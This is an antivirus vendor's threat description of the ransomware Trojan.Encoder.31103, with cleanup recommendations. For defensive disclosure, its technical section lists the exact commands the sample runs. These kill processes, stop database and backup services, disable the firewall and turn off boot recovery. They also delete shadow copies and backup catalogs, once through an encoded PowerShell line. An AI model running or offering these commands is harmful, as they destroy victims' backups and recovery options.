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Trojan.Encoder.31103

Added to the Dr.Web virus database: 2020-02-27

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
blocks the following features:
  • User Account Control (UAC)
deletes volume shadow copies.
Executes the following
  • '%WINDIR%\syswow64\net.exe' stop DbxSvc
  • '%WINDIR%\syswow64\taskkill.exe' /f /im WBGX.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im QBW32.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im node.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im virtualboxvm.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im onenote.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im excel.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im oracle.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im thunderbird.*
  • '%WINDIR%\syswow64\taskkill.exe' /f /im outlook.*
  • '%WINDIR%\syswow64\net.exe' stop QBVSS
  • '%WINDIR%\syswow64\taskkill.exe' /f /im wordpad.*
  • '%WINDIR%\syswow64\net.exe' stop QBCFMontorService
  • '%WINDIR%\syswow64\net.exe' stop cbVSCService11
  • '%WINDIR%\syswow64\taskkill.exe' /f /im Teams.*
  • '%WINDIR%\syswow64\net.exe' stop CobianBackup11
  • '%WINDIR%\syswow64\taskkill.exe' /f /im winword.*
  • '%WINDIR%\syswow64\net.exe' stop SQLAgent$SQLEXPRESS
  • '%WINDIR%\syswow64\net.exe' stop MongoDB
  • '%WINDIR%\syswow64\net.exe' stop MSSQLServerADHelper100
  • '%WINDIR%\syswow64\net.exe' stop MSSQL$SQLEXPRESS
  • '%WINDIR%\syswow64\net.exe' stop SQLWriter
  • '%WINDIR%\syswow64\net.exe' stop Apache2.4
  • '%WINDIR%\syswow64\net.exe' stop AcronisAgent
  • '%WINDIR%\syswow64\net.exe' stop AcrSch2Svc
  • '%WINDIR%\syswow64\net.exe' stop OracleServiceXE
  • '%WINDIR%\syswow64\net.exe' stop OracleXETNSListener
  • '%WINDIR%\syswow64\taskkill.exe' /f /im sql.*
  • '%WINDIR%\syswow64\netsh.exe' firewall set opmode disable
  • '%WINDIR%\syswow64\net.exe' stop SQLBrowser
  • '%WINDIR%\syswow64\taskkill.exe' /f /im Flow.*
Modifies file system
Creates the following files
  • <DRIVERS>\etc\host
Network activity
UDP
  • DNS ASK tu##nota.gq
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.*...
  • '%WINDIR%\syswow64\net1.exe' stop cbVSCService11
  • '%WINDIR%\syswow64\net1.exe' stop CobianBackup11
  • '%WINDIR%\syswow64\net1.exe' stop SQLBrowser
  • '%WINDIR%\syswow64\net1.exe' stop SQLAgent$SQLEXPRESS
  • '%WINDIR%\syswow64\net1.exe' stop MongoDB
  • '%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper100
  • '%WINDIR%\syswow64\net1.exe' stop MSSQL$SQLEXPRESS
  • '%WINDIR%\syswow64\net1.exe' stop SQLWriter
  • '%WINDIR%\syswow64\net1.exe' stop Apache2.4
  • '%WINDIR%\syswow64\net1.exe' stop AcronisAgent
  • '%WINDIR%\syswow64\net1.exe' stop AcrSch2Svc
  • '%WINDIR%\syswow64\net1.exe' stop QBCFMontorService
  • '%WINDIR%\syswow64\net1.exe' stop OracleServiceXE
  • '%WINDIR%\syswow64\net1.exe' stop OracleXETNSListener
  • '%WINDIR%\syswow64\net1.exe' stop DbxSvc
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  • '%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog ...
  • '%WINDIR%\syswow64\cmd.exe' /C powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
  • '%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
  • '%WINDIR%\syswow64\cmd.exe' /C netsh firewall set opmode disable
  • '%WINDIR%\syswow64\cmd.exe' /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS ...
  • '<SYSTEM32>\vssvc.exe'
  • '%WINDIR%\syswow64\net1.exe' stop QBVSS

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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